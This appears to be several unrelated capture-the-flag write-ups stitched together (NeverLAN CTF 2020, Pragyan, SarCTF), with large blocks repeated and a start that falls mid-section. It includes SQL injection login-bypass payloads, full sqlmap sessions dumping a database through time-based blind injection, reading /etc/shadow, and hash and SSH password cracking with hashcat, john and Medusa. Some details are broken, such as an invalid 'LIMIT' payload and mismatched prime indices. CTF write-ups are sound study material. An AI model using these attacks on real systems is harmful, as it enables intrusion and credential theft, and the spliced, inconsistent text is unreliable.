Password 1:It's in an image in `~/Pictures`. We use strings and find the signature for `steghide`. We can use `steghide extract -sf doggo.jpeg`. It takes a bit more guesswork to guess that there is no password. The password is in the extracted text file.
Password 2:The password is the password to the user named `user`. We read `/etc/shadow/`, and find the password.
Password 3:We first uncompress the `table.db.tar.gz` inside `/opt`.
Let's get everything from `table.db`: `sqlite3 table.db "SELECT * FROM passwords"`. This gives us the third password.
Now that we have all 3 passwords, we can decrypt the encrypted text file using `openssl enc -aes-256-cbc -d -in flag.txt.enc -out file.txt`. We supply the concatenation of the 3 passwords, and we read `file.txt` for the decrypted flag.
## Programming### DasPrimeWe want to find the 10947th prime number. We are given the following algorithm:```pythonimport mathdef main(): primes = [] count = 2 index = 0 while True: isprime = False for x in range(2, int(math.sqrt(count) + 1)): if count % x == 0: isprime = True continue if isprime: primes.append(count) print(index, primes[index]) index += 1 count += 1if __name__ == "__main__": main()```
This algorithm seems kind of slow...
We can write a faster script such as this one:```pythonfrom math import sqrt
def is_prime(n): if (n <= 1): return False if (n == 2): return True if (n % 2 == 0): return False
i = 3 while i <= sqrt(n): if n % i == 0: return False i = i + 2
return True
def prime_generator(): n = 1 while True: n += 1 if is_prime(n): yield n
generator = prime_generator()
x = []
for i in range(10948): x.append(next(generator))```
We access the 10497th element of `x` to get the flag (x[10496]).
### password_crackSimple MD5 brute force. I got the author names from the Discord server.
### Robot TalkWe just have to convert 5 base64 values to ASCII.
I used pwntools, a pretty neat library for tasks like these.
```pythonfrom pwn import *import base64
conn = remote("challenges.neverlanctf.com", 1120)
for i in range(5): print(conn.recvuntil("decrypt: ")) x = conn.recv().strip() print(x) y = base64.b64decode(x) print(y) conn.send(y) print(conn.recvline())
print(conn.recv())```### BitsnBytes> https://challenges.neverlanctf.com:1150
This site gives an svg which we can download. Quite obviously, the colors represent `0` and `1` in binary (gray is 1, green is 0).
We find out that we can download the svg information directly from `/svg.php`, which makes it much easier for a script.
We parse the image, using regex to remove all different attributes such as x, y, width, and height for each `<rect>` in the svg. Then, we simply just use `str.replace()` in Python to get the binary string.
Then we convert that binary string into text.
However, most of the time the server will return an svg that doesn't have the flag. Instead, it will return some time hash information which is useless to us.
We can repeatedly query the server for an svg until it gives us a flag svg.
```from __future__ import print_function
import requests
while True: f = requests.get("https://challenges.neverlanctf.com:1150/svg.php").text.decode()
f = f[336:-9]
f= f.strip()
import re
s = re.compile(r"\sid='\d*'") a = re.compile(r"\sx='\d*'") b = re.compile(r"\sy='\d*'")
c = re.compile(r"width='\d*' ") d = re.compile(r"height='\d*' ")
f = s.sub("", f) f = a.sub("", f) f = b.sub("", f) f = c.sub("", f) f = d.sub("", f)
#print(f)
f = f.replace("<rect style='fill:#333136'/>", "1") f = f.replace("<rect style='fill:#00ff00'/>", "0")
f = [f[i:i+8] for i in range(0, len(f), 8)]
#print(f)
x = "".join([chr(int(i, 2)) for i in f])
if not "time hash:" in x: print(x)```
### Evil> ssh [email protected] -p 3333> password: eyesofstone
We initially find an intel.txt, giving us information. We have to ssh onto `evil@victim`.
Using Medusa (an ssh password cracker), we can bruteforce the password easily. It is `0024`.
Once ssh'd, we find a zip file with some base64 as its name. It's password protected, so we try decoding the name.
Decoded, the name of the zip file is `stonecold`, which is used to unzip the zip file.
The content of the zip file is the flag.
## Recon### Front page of the InternetThe "front page of the Internet" is Reddit.The author is `ZestyFE`, so we guess that he has a Reddit account under the same name.
We navigate to `/u/ZestyFE` on Reddit, and find the flag in one of ZestyFE's comments.
### The Big StageWe search up SaintCon keynotes and find that NeverLAN keynoted in 2018
Unfortunately the SaintCon site is not 100% functional so we're stuck...
Then we guses that keynoting a conference is pretty cool and they must have posted something to commemorate the event on [their Twitter](https://twitter.com/NeverLanCTF).
They actually link us [their slides](https://twitter.com/NeverLanCTF/status/1044640438131388422)
The flag is right next to a picture of Rick Astley :p
### The LinkDuring the competition there were streams for music and the like. If we go under their music tab and select track #2 we see a YouTube video.
Exploring the comments reveals a flag that someone commented.
### Thats just PhreakyWe Google for `01 September 2017 | 14:01 phreak`.
We find the first [Darknet Diaries episode](https://darknetdiaries.com/episode/1/).
By some stroke of pure geniosity we right click to view the source code of the site and the flag is at the bottom.
## Web### Cookie Monster> https://challenges.neverlanctf.com:1110
The title hints that it has something to do with cookies.
When we visit the site, it says `He's my favorite Red guy`. We guess this to be `Elmo` from Sesame Street.
We look at the cookies, and find a cookie `Red_Guy's_Name: NameGoesHere`. We replace `NameGoesHere` with `elmo`.
We get the flag by refreshing the tab.
### Stop the Bot> https://challenges.neverlanctf.com:1140
The site looks pretty boring, so let's take a look at `/robots.txt`, which is hinted at by the title:```User-agent: *Disallow: /Disallow: flag.txt```
We navigate to `/flag.txt` for the flag.
### SQL Breaker> https://challenges.neverlanctf.com:1160/
Simple SQL injection in the login page.Note that the password does not matter, only the username is vulnerable.
The goal is to log in as an admin.
Payload:```Username: ' OR 1=1;-- Password: asdf```
Return to the home page for the flag.
### SQL Breaker 2> https://challenges.neverlanctf.com:1165/
Simple SQL injection in the login page.Note that the password does not matter, only the username is vulnerable.
The goal is to log in as an admin.
This time, there seems to be multiple accounts, and the previous payload logs us in as `John`, who is not an admin. We have to skip over John's account using SQL's `LIMIT` to log in as admin.
Payload:```Username: ' OR 1=1, LIMIT 1;-- Password: asdf```
Return to the home page for the flag.
### Follow Me> https://7aimehagbl.neverlanctf.com
This website redirects so many times your browser just gives up. We can use Python's `requests` module and the `follow_redirects=False` option:```pythonimport requestsp = requests.get("https://7aimehagbl.neverlanctf.com", allow_redirects=False)```On the first visit (using Python), the page states where it's redirecting. How convenient. How about we just follow the trail?
```pythonimport requests
url = "https://7aimehagbl.neverlanctf.com"
while True: p = requests.get(url, allow_redirects=False) print(p.text) url = "https://" + p.text.split()[-1]```
The flag is in one of the sites that we get redirected to.
### Browser Bias> https://challenges.neverlanctf.com:1130
When we try to visit the site normally, it says that the site is only for `commodo 64` browsers.
We guess that the server tells what browser we are using based on the User-Agent header of the request.
When we Google for Commodo 64 browsers, we end up with a browser named `Contiki`. We search for the Contiki User-Agent.
We find a [really long list of User-Agents](https://gist.github.com/dstufft/2502524) that ever downloaded something from PyPI on GitHub Gists, and we Ctrl-F for Contiki.
We find the User-Agent for Contiki as `Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)`.
We set that as our User-Agent using Python's `requests`, and request the home page, which gives us the flag.
## Chicken LittleWe basically have to ssh onto a server and retrieve the flag from it. We start from Chicken Little 1. We use the flag from Chicken Little 1 as the password for the ssh onto Chicken Little 2, etc.
### Chicken Little 1Use an `ls` and find `Welcome.txt`.Read the file for the flag.
### Chicken Little 2Use an `ls -a` (-a flag to show hidden files) and find `.chicken.txt`.Read the file for the flag.
### Chicken Little 3We find `BAWK.txt` with a bunch of "BAWK"s in it. Knowing the password format we guess that this password also has a `-` in it, so we grep for `-` in the file for the flag.
### Chicken Little 4We find a binary file with the flag presumably hidden in it. We can use `strings` to first extract the printable strings, then grep for `-` in it, which gives the flag.
### Chicken Little 5We can use `binwalk -e` to extract files from the file, giving us a file with the flag.
### Chicken Little 6We can use `scp` to transfer the file to our local machine since `curl` was removed.
`scp -P 3333 [email protected]:~/chicken-little.png .`
The flag is visible in the image.
### Chicken Little 7We are told we need to find the password to the user `level7` on the system. We read `/etc/shadow` for the `level7` password hash.
We generate a wordlist of all possible 4-character combinations using `crunch 1 4 > pass.txt`.
We can use `hashcat -m 1800 -a 0 h.hash pass.txt` to eventually break the hash (it was supposed to take ~15 minutes).
I used a brute-force script on a remote server because my 2011 mac really did not like running SHA512 a lot of times.
## Trivia### Milk Please> Trivia Question: a reliable mechanism for websites to remember stateful information. Yummy!>It's talking about cookies, which is the flag.### Professional Guessing> The process of attempting to gain Unauthorized access to restricted systems using common passwords or algorithms that guess passwords
Google the description.
An article defines the description for the term "password cracking", which is the flag.### Base 2^6> A group of binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation
`Radix-64` basically tells us that the flag is base64.
### AAAAAAAAAAAAAA! I hate CVEs> This CVE reminds me of some old school exploits. If flag is enabled in sudoers
We Google `If flag is enabled in sudoers cve` and find [this site](https://www.exploit-db.com/exploits/47995), which has the flag in it.
### Rick Rolled by the NSA> This CVE Proof of concept Shows NSA.go<span>v</span> playing "Never Gonna Give You Up," by 1980s heart-throb Rick Astley.Use the CVE ID for the flag. flag{CVE-?????????}
I remember seeing this as a meme on Reddit :laughing:Googling the description gives news articles detailing the correct CVE ID for the flag. |
The website at http://ctf.pragyan.org:14000/index.php allow to register a user and login, but shows no informations and does not allow one to do any actions.
Running an *Active Scan* with *OWASP ZAP* shows a possible SQL injection vulnerability in the profile page:
Running a basic assessement with SQLMap verifies that:
```bash$ sqlmap -u "http://ctf.pragyan.org:14000/profile.php?success=welcome&NAME=fooman" --cookie "PHPSESSID=c06fe05e8915a69cf66610e350dcfcb4"
...it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y...[15:34:29] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'[15:34:39] [INFO] GET parameter 'NAME' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] yfor the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y[15:35:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[15:35:07] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[15:35:08] [INFO] checking if the injection point on GET parameter 'NAME' is a false positiveGET parameter 'NAME' is vulnerable. Do you want to keep testing the others (if any)? [y/N] ysqlmap identified the following injection point(s) with a total of 131 HTTP(s) requests:---Parameter: NAME (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: success=welcome&NAME=fooman' AND (SELECT 7978 FROM (SELECT(SLEEP(5)))Kokv) AND 'llyd'='llyd---[15:35:58] [INFO] the back-end DBMS is MySQL[15:35:58] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions back-end DBMS: MySQL >= 5.0.12[15:35:59] [INFO] fetched data logged to text files under '/root/.sqlmap/output/ctf.pragyan.org'
[*] ending @ 15:35:59 /2020-02-23/```
We can extend on this, to retrieve the database's structure:
```bash$ sqlmap -u "http://ctf.pragyan.org:14000/profile.php?success=welcome&NAME=fooman" --cookie "PHPSESSID=c06fe05e8915a69cf66610e350dcfcb4" --dbms=MySQL --tables -p NAME
...[15:38:01] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: NAME (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: success=welcome&NAME=fooman' AND (SELECT 7978 FROM (SELECT(SLEEP(5)))Kokv) AND 'llyd'='llyd---[15:38:01] [INFO] testing MySQLdo you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y[15:38:18] [INFO] confirming MySQL[15:38:18] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions [15:38:29] [INFO] adjusting time delay to 2 seconds due to good response times[15:38:29] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL >= 8.0.0[15:38:29] [INFO] fetching database names[15:38:29] [INFO] fetching number of databases[15:38:29] [INFO] retrieved: 2[15:38:35] [INFO] retrieved: information_schema[15:40:57] [INFO] retrieved: capture_the_flag[15:43:16] [INFO] fetching tables for databases: 'capture_the_flag, information_schema'[15:43:16] [INFO] fetching number of tables for database 'information_schema'[15:43:16] [INFO] retrieved: 73[15:43:29] [INFO] retrieved: ADMIN^C```
Get the tables in the `capture_the_flag` schema:
```bash$ sqlmap -u "http://ctf.pragyan.org:14000/profile.php?success=welcome&NAME=fooman" --cookie "PHPSESSID=c06fe05e8915a69cf66610e350dcfcb4" -p NAME --dbms=MySQL -D capture_the_flag --tables
...do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y[15:46:33] [INFO] adjusting time delay to 1 second due to good response times3[15:46:34] [INFO] retrieved: pandoralocations[15:47:49] [INFO] retrieved: pandoramsg[15:48:11] [INFO] retrieved: pandorausersDatabase: capture_the_flag[3 tables]+------------------+| pandoralocations || pandoramsg || pandorausers |+------------------+
``` The challenge description indicates, that we need to find a location. Let's dump that table:
```bash$ sqlmap -u "http://ctf.pragyan.org:14000/profile.php?success=welcome&NAME=fooman" --cookie "PHPSESSID=c06fe05e8915a69cf66610e350dcfcb4" -p NAME --dbms=MySQL -D capture_the_flag -T pandoralocations --dump...[16:22:25] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: NAME (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: success=welcome&NAME=fooman' AND (SELECT 7978 FROM (SELECT(SLEEP(5)))Kokv) AND 'llyd'='llyd---[16:22:25] [INFO] testing MySQL[16:22:25] [INFO] confirming MySQL[16:22:25] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL >= 8.0.0[16:22:25] [INFO] fetching columns for table 'pandoralocations' in database 'capture_the_flag'[16:22:25] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) [16:22:32] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y[16:23:05] [INFO] adjusting time delay to 2 seconds due to good response times3[16:23:06] [INFO] retrieved: base[16:23:31] [INFO] retrieved: latitude[16:24:31] [INFO] retrieved: longitude[16:25:46] [INFO] fetching entries for table 'pandoralocations' in database 'capture_the_flag'[16:25:46] [INFO] fetching number of entries for table 'pandoralocations' in database 'capture_the_flag'[16:25:46] [INFO] retrieved: 3[16:25:54] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done) [16:26:08] [INFO] adjusting time delay to 1 second due to good response timesbase1[16:26:21] [INFO] retrieved: 10.0054 N[16:27:09] [INFO] retrieved: 45.0245E[16:27:52] [INFO] retrieved: base2[16:28:11] [INFO] retrieved: p_ctf{4vengers_455emb1e_0ne_l45t_t1me}[16:31:37] [INFO] retrieved: 56...```
Flag: **p_ctf{4vengers_455emb1e_0ne_l45t_t1me}** |
# SarCTF 2020 -- Confidential (Forensics) -- WriteupWe're given a pcap capture file, "capture.pcap". First of all, we enumerated the pcap file using wireshark, as shown below:
Taking a look in those packets, we could understand what was primordialy happening there: a FTP File Transmission. Using Wireshark, we saved those files by getting their tcp-data stream and saving them into our storage.
database.kdbx is a Keepass Password Database, we can break his password using:```$ keepass2john database.kdbx > database.hash$ john database.hash --wordlist=/usr/share/wordlists/rockyou.txtdatabase:blowme!1 password hash cracked, 0 left```
Now we just have to access the database using the cracked password:```$ keepass2 database.kdbx```
 |
# Every day i'm shuffling (Crypto) \[481\]
## __Description__
## __Solution__
```def main(): file_name = 'message_from_above' data = open(file_name + '.txt', 'r').read() seed(randint(1, len(file_name))) file_name = list(file_name) shuffle(file_name)```
We know that \'message_from_above\' became \'fsegovs_meaoerbma\', so I try seeding 1~18 and shuffling filename to see whether it matches.
The seed is 3, now we shuffle the list and reverse it.
```pp = list(range(len(data)))shuffle(pp)p = [0]*len(pp)for i in range(len(pp)): p[pp[i]] = i```
Then use this mapping to reverse the whole process.
The flag can be found in [message_from_above]('message_from_above.txt)
```kks{5huffl3_5huffl3_5huffl3}``` |
# NeverLAN CTF 2020Start: Sat, Feb 8 2020, 10:00 AM EST
End: Tue, Feb 11 2020, 7:00 PM EST
# Placing- [Students](student_scoreboard.png): 1st (max score)- General: 31st
# ReviewThis weekend I played in NeverlanCTF as the solo team `bosh`. The challenges were alright, although many of them were just guessing.
I didn't like how they did not announce challenge drops before they actually released them, and how the platform went down after the last wave of challenge releases.
# Writeups## Table of contents| Challenge Name | Category | Points ||:-:|:-:|:-:|| [Adobe Payroll](#adobe-payroll) | Reverse Engineering | 100 || [Script Kiddie](#script-kiddie) | Reverse Engineering | 100 || [Reverse Engineer](#reverse-engineer) | Reverse Engineering | 200 || [Pigsfly](#pigsfly) | Cryptography | 30 || [BaseNot64](#basenot64) | Cryptography | 50 || [Don't Take All Knight](#don't-take-all-knight) | Cryptography | 75 || [The Invisibles](#the-invisibles) | Cryptography | 75 || [Stupid Cupid](#stupid-cupid) | Cryptography | 100 || [My Own Encoding](#my-own-encoding) | Cryptography | 200 || [BabyRSA](#babyrsa) | Cryptography | 250 || [CryptoHole](#cryptohole) | Cryptography | 250 || [It is like an onion of secrets](#it-is-like-an-onion-of-secrets) | Cryptography | 300 || [Unsecured Login](#unsecured-login) | PCAP | 50 || [Unsecured Login2](#unsecured-login2) | PCAP | 75 || [FTP](#ftp) | PCAP | 100 || [Teletype Network](#teletype-network) | PCAP | 125 || [hidden-ctf-on-my-network](#hidden-ctf-on-my-network) | PCAP | 250 || [Listen to this](#listen-to-this) | Forensics | 125 || [Open Backpack](#open-backpack) | Forensics | 150 || [Look into the past](#look-into-the-past) | Forensics | 250 || [DasPrime](#dasprime) | Programming | 100 || [password_crack](#password_crack) | Programming | 100 || [Robot Talk](#robot-talk) | Programming | 200 || [BitsnBytes](#bitsnbytes) | Programming | 200 || [Evil](#evil) | Programming | 200 || [Front page of the Internet](#front-page-of-the-internet) | Recon | 50 || [The Big Stage](#the-big-stage) | Recon | 75 || [The Link](#the-link) | Recon | 75 || [Thats just Phreaky](#thats-just-phreaky) | Recon | 200 || [Cookie Monster](#cookie-monster) | Web | 10 || [Stop the Bot](#stop-the-bot) | Web | 50 || [SQL Breaker](#sql-breaker) | Web | 50 || [SQL Breaker 2](#sql-breaker-2) | Web | 75 || [Follow Me!](#follow-me) | Web | 100 || [Browser Bias](#browser-bias) | Web | 150 || [Chicken Little 1](#chicken-little-1) | Chicken Little | 35 || [Chicken Little 2](#chicken-little-2) | Chicken Little | 36 || [Chicken Little 3](#chicken-little-3) | Chicken Little | 37 || [Chicken Little 4](#chicken-little-4) | Chicken Little | 38 || [Chicken Little 5](#chicken-little-5) | Chicken Little | 39 || [Chicken Little 6](#chicken-little-6) | Chicken Little | 40 || [Chicken Little 7](#chicken-little-7) | Chicken Little | 100 || [Milk Please](#milk-please) | Trivia | 10 || [Professional Guessing](#professional-guessing) | Trivia | 10 || [Base 2^6](#base-2^6) | Trivia | 10 || [AAAAAAAAAAAAAA! I hate CVEs](#aaaaaaaaaaaaaa!-i-hate-cves) | Trivia | 20 || [Rick Rolled by the NSA???](#rick-rolled-by-the-nsa) | Trivia | 50 |
## Reverse Engineering### Adobe PayrollOnce we unzip with 7z we end up with two files:`description.MD``Adobe_Employee_Payroll.exe`
`description.MD` hints towards a software called [DotPeek](https://www.jetbrains.com/decompiler/).
DotPeek decompiles (read: translates to semi human readable code) .NET files, such as our .exe file. After we open `Adobe_Employee_Payroll.exe` up, we can explore the files:
Double clicking on something seems like a good idea. Now we can see the decompiled code for something that looks important:As you can see, `r1`, `r2`, `r3` and so (till `r38`) on seem to be holding integers. They seem like they're ASCII values... and they are!
Without even looking at the rest of the program, we can find the flag by converting all the values from `r1` through `r38` to letters.
### Script KiddieThe "encrypted" `encrypted_db` is really just a bunch of base64 strings, which are then encoded using hex.
We can decode by using this script:```pythonfrom base64 import b64decode
f = open("encrypted_db").read().strip().replace("\n", "").decode("hex")
f = b64decode(f.strip())
print(re.findall(r'flag{.+?}', f))```
Running the script gives the flag.
### Reverse EngineerLet's open it up in Ghidra.We scroll until we find a cool looking function called `print`. It seems to be building a string from hex values.
Converting all those from hex to ASCII gives the flag.
## Cryptography### PigsflyBasic substitution cipher, using the pigpen cipher alphabet.
Decrypting gives the flag.
### BaseNot64As from the title, the data is not in base 64. We play around with the different encodings in [cyberchef](https://gchq.github.io/CyberChef/).
Noticing that there are only capital letters / symbols in the plaintext, we can probably guess that the base will be relatively small. We try to decode it as a base 32 string, and it works.
Decoding gives the flag.
### Don't Take All KnightAnother basic substitution cipher, using the Knights Templar Code cipher. Decode.f<span>r</span> has a [nice solver](https://www.dcode.fr/templars-cipher).
Decrypting gives the flag.
### The InvisiblesYet another basic substitution cipher, using the Arthurs and the Invisibles alphabet. Decode.f<span>r</span> has a [nice solver](https://www.dcode.fr/arthur-invisibles-cipher).
Decrypting gives the flag.
### Stupid CupidGoogling `Cupid cipher` gives us some results about how James Madison hid his plaintexts in some text using numbers.
When we count the amount of numbers in the ciphertext at the top of the file, we find that it is equal to the amount of rows there are, and the highest number in the ciphertext does not exceed the number of columns :eyes:
We then guess that each row corresponds to a character of the plaintext, and each number in the ciphertext is the corresponding column to pick from.
For example:The first number in the ciphertext is `6`. The character at the first row, 6th column is `V`.Then, the second number in the ciphertext is `12`. The character at the second row, 12th column is `E`.
Continue to get the flag.
### My Own EncodingWe are presented with 16 5x5 grids, each with a single box blacked out.Shot in the dark.We reason that since it is 5x5, there are 25 choices which is close enough to 26 (letters of the alphabet).
We assume the top left represents the letter A, and the next one to the right represents B, and so on.
Doing so, we get `MHBDI...`, until we reach the 12th box. There is no marking here! Another shot in the dark. We assume that no marking represents the letter `A`.
Thus, our previously transcribed "plaintext" has to be Caesar shifted by 1 to get the flag, easy enough.
### BabyRSAQuestionable RSA. I didn't know what to do with the numbers since they were spaced out. I finally guessed they were individual characters of the flag and successfully decrypted them as such.
Using [factordb](http://factordb.com/), we can factor `n` into `17 * 149`, obviously the p and q for this challenge.
Now, using modified code from [a StackExchange article](https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e), we can decrypt the flag character by character.
```python# Function from Geeks for Geeksdef modInverse(a, m): m0 = m, y = 0, x = 1 if (m == 1): return 0 while (a > 1) : q = a // m t = m m = a % m a = t t = y y = x - q * y x = t if (x < 0): x += m0 return x
def decrypt(ct): p = 17 q = 149 e = 569
# compute n n = p * q
# Compute phi(n) phi = (p - 1) * (q - 1)
# Compute mult mod inv of e d = modInverse(e, phi)
# Decrypt ciphertext pt = pow(ct, d, n) print(chr(pt), end="")
chall = "2193 1745 2164 970 1466 2495 1438 1412 1745 1745 2302 1163 2181 1613 1438 884 2495 2302 2164 2181 884 2302 1703 1924 2302 1801 1412 2495 53 1337 2217".split()
# this is probably bad practice but it workslist(map(lambda x: decrypt(int(x)), chall))```
### CryptoHoleBasically just a bunch of ciphers. Each level has a chal.txt which contains an encrypted password, and a password-protected zip file for the next layer.
Here is the order:
Layer 1 -`A ffine Cipher here 3`:- Affine Cipher- Brute force- Password is `AfvqPZW0bDMB&HTfzo`
Layer 2 - `Two is better than one`- Double Transposition Cipher- Both keys are `NEVERLANCTF`- Ciphertext decrypts to `PASSWORDV78DTNRI6KBD3SDFQXXXXXXXX`- Password is `V78DTNRI6KBD3SDFQ`
Layer 3 - `I'm on the fence with this one`- Rail Fence Cipher:- Brute force- `password:·VSEAS5aevg8Bwlovr`
Layer 4 - `Salad Time`- Keyed Caesar Cipher- Key is `neverLANCTF`- Shift is `0`- Password is `gTLvCGk$HyRVSssXVaSX`
Layer 5 - `ROTten`- Standard Caesar Cipher- Shift is `13`- Password is `e1Ydr*zxOOybF6RR%h5f`
Layer 6 - `Vigenere Equivent E`- Standard Caesar Cipher- Shift is `22`- Password is `fI7BPZL#ZN5PI!&pbTXc`
Layer 7 - `Easy one`- Base64 encoded string- Password is `vxw@Ztet#ZfBnYVxJ1IM`
Layer 8 - `Message indigestion`- MD5 digest- Brute force- Password is `password23`
Layer 9 - `For SHA dude`- SHA1 digest- Brute force- Password is `applez14`
Layer 10 - `ONE more TIME`- One Time Pad- First part of key is `This is our world now...` from `chal.txt` - Hints to a section from the Hacker Manifesto- Full key is: `This is our world now... the world of the electron and the switch, thebeauty of the baud. We make use of a service already existing without payingfor what could be`- Decrypt the OTP to get the flag
### It is like an onion of secretsWe get download the png image. In it is a funky lookin dog with no flag :(
We guess it is LSB encrypted since Binwalk doesn't return anything useful.
We plug it into [stylesuxx's LSB tool](https://stylesuxx.github.io/steganography) and we decode.
We get some base64, which we now play with a bunch in [CyberChef](https://gchq.github.io/CyberChef/).
After we base64 decode it twice, we get a bunch of:`lspv wwat kl rljvzfciggvnclzv`
Now we guess again and decrypt it using the `Variant Beaufort Vigenere cipher` (found on Cryptii's Vigenere tool) and key `NeverLANCTF`. The plaintext gives the flag.
## PCAP### Unsecured LoginYou don't even need Wireshark, just use `strings mysite.pcap | grep flag`
### Unsecured Login2You don't even need Wireshark, just use `strings mysite2.pcap | grep flag`
### FTPYou don't even need Wireshark, just use `strings ftp.pcap | grep flag`If you want to, you can right click on any ftp packet and follow the tcp stream. If there's no flag, then move on to the next stream.
### Teletype NetworkYou don't even need Wireshark, just use `strings telnet.pcap | grep flag`
### hidden-ctf-on-my-networkYou don't even need Wireshark, just use `strings telnet.pcap | grep flag`
## Forensics### Listen to thisWhen we listen to the mp3 initially, we can hear a faint beeping in the background. This sounds like Morse code, so let's find an easy way to transcribe it to text dits and dahs (radio speak for dots and dashes).
We open it up in Audacity, and notice there are two tracks. Let's switch to spectrogram view. We can do this by clicking on the arrow pointing downwards next to the track name, then clicking `Spectrogram`:
If we zoom in on the beginning of the track, we can see that the Morse code is in the second track:
One huge issue right now is that the Morse code is "covered" by the actual vocals of the track. I was stuck on this portion for a while.
Let's split the tracks to mono using the track settings.
Then, we subtract the original track from the track with morse code. After that, we'll be able to clearly see the morse code in spectrogram view.
First, we select one track, and invert it (`Effect > Invert`). Then, we select both tracks and mix them together (`Tracks > Mix > Mix and Render`).
It's still a bit hard to see, so let's change the coloring.
We open up track settings and then select `Spectrogram Settings`. We change the color range to 20 dB instead of 80 dB (decibels).
The result is morse code. Now all we have to do is open up a text editor, copy the morse code down, and convert it to text using an online tool (:
The short ones are dits and the long ones are dahs. I usually represent the short ones with `.` and the long ones with `-`, which is a format most online morse-to-text tools use as well.
That would be the first letter in the text.
### Open BackpackThe image says something is unzipped...Let's try `binwalk`.
Command: `binwalk -e openbackpack.jpg`
Binwalk extracts two files, a zip and a file called `flag.png`, which has the flag of course.
### Look into the pastWe download and unzip it. It seems they just compressed a system's directories from / and gave it to us...
We `cd` into the home directory for the user (`/home/User/`). Nothing seems interesting except for a `.bash_history` file, which reveals that they encrypted a flag using a concatenation of 3 passwords. We have to find the 3 passwords to decrypt the encrypted flag.
Password 1:It's in an image in `~/Pictures`. We use strings and find the signature for `steghide`. We can use `steghide extract -sf doggo.jpeg`. It takes a bit more guesswork to guess that there is no password. The password is in the extracted text file.
Password 2:The password is the password to the user named `user`. We read `/etc/shadow/`, and find the password.
Password 3:We first uncompress the `table.db.tar.gz` inside `/opt`.
Let's get everything from `table.db`: `sqlite3 table.db "SELECT * FROM passwords"`. This gives us the third password.
Now that we have all 3 passwords, we can decrypt the encrypted text file using `openssl enc -aes-256-cbc -d -in flag.txt.enc -out file.txt`. We supply the concatenation of the 3 passwords, and we read `file.txt` for the decrypted flag.
## Programming### DasPrimeWe want to find the 10947th prime number. We are given the following algorithm:```pythonimport mathdef main(): primes = [] count = 2 index = 0 while True: isprime = False for x in range(2, int(math.sqrt(count) + 1)): if count % x == 0: isprime = True continue if isprime: primes.append(count) print(index, primes[index]) index += 1 count += 1if __name__ == "__main__": main()```
This algorithm seems kind of slow...
We can write a faster script such as this one:```pythonfrom math import sqrt
def is_prime(n): if (n <= 1): return False if (n == 2): return True if (n % 2 == 0): return False
i = 3 while i <= sqrt(n): if n % i == 0: return False i = i + 2
return True
def prime_generator(): n = 1 while True: n += 1 if is_prime(n): yield n
generator = prime_generator()
x = []
for i in range(10948): x.append(next(generator))```
We access the 10497th element of `x` to get the flag (x[10496]).
### password_crackSimple MD5 brute force. I got the author names from the Discord server.
### Robot TalkWe just have to convert 5 base64 values to ASCII.
I used pwntools, a pretty neat library for tasks like these.
```pythonfrom pwn import *import base64
conn = remote("challenges.neverlanctf.com", 1120)
for i in range(5): print(conn.recvuntil("decrypt: ")) x = conn.recv().strip() print(x) y = base64.b64decode(x) print(y) conn.send(y) print(conn.recvline())
print(conn.recv())```### BitsnBytes> https://challenges.neverlanctf.com:1150
This site gives an svg which we can download. Quite obviously, the colors represent `0` and `1` in binary (gray is 1, green is 0).
We find out that we can download the svg information directly from `/svg.php`, which makes it much easier for a script.
We parse the image, using regex to remove all different attributes such as x, y, width, and height for each `<rect>` in the svg. Then, we simply just use `str.replace()` in Python to get the binary string.
Then we convert that binary string into text.
However, most of the time the server will return an svg that doesn't have the flag. Instead, it will return some time hash information which is useless to us.
We can repeatedly query the server for an svg until it gives us a flag svg.
```from __future__ import print_function
import requests
while True: f = requests.get("https://challenges.neverlanctf.com:1150/svg.php").text.decode()
f = f[336:-9]
f= f.strip()
import re
s = re.compile(r"\sid='\d*'") a = re.compile(r"\sx='\d*'") b = re.compile(r"\sy='\d*'")
c = re.compile(r"width='\d*' ") d = re.compile(r"height='\d*' ")
f = s.sub("", f) f = a.sub("", f) f = b.sub("", f) f = c.sub("", f) f = d.sub("", f)
#print(f)
f = f.replace("<rect style='fill:#333136'/>", "1") f = f.replace("<rect style='fill:#00ff00'/>", "0")
f = [f[i:i+8] for i in range(0, len(f), 8)]
#print(f)
x = "".join([chr(int(i, 2)) for i in f])
if not "time hash:" in x: print(x)```
### Evil> ssh [email protected] -p 3333> password: eyesofstone
We initially find an intel.txt, giving us information. We have to ssh onto `evil@victim`.
Using Medusa (an ssh password cracker), we can bruteforce the password easily. It is `0024`.
Once ssh'd, we find a zip file with some base64 as its name. It's password protected, so we try decoding the name.
Decoded, the name of the zip file is `stonecold`, which is used to unzip the zip file.
The content of the zip file is the flag.
## Recon### Front page of the InternetThe "front page of the Internet" is Reddit.The author is `ZestyFE`, so we guess that he has a Reddit account under the same name.
We navigate to `/u/ZestyFE` on Reddit, and find the flag in one of ZestyFE's comments.
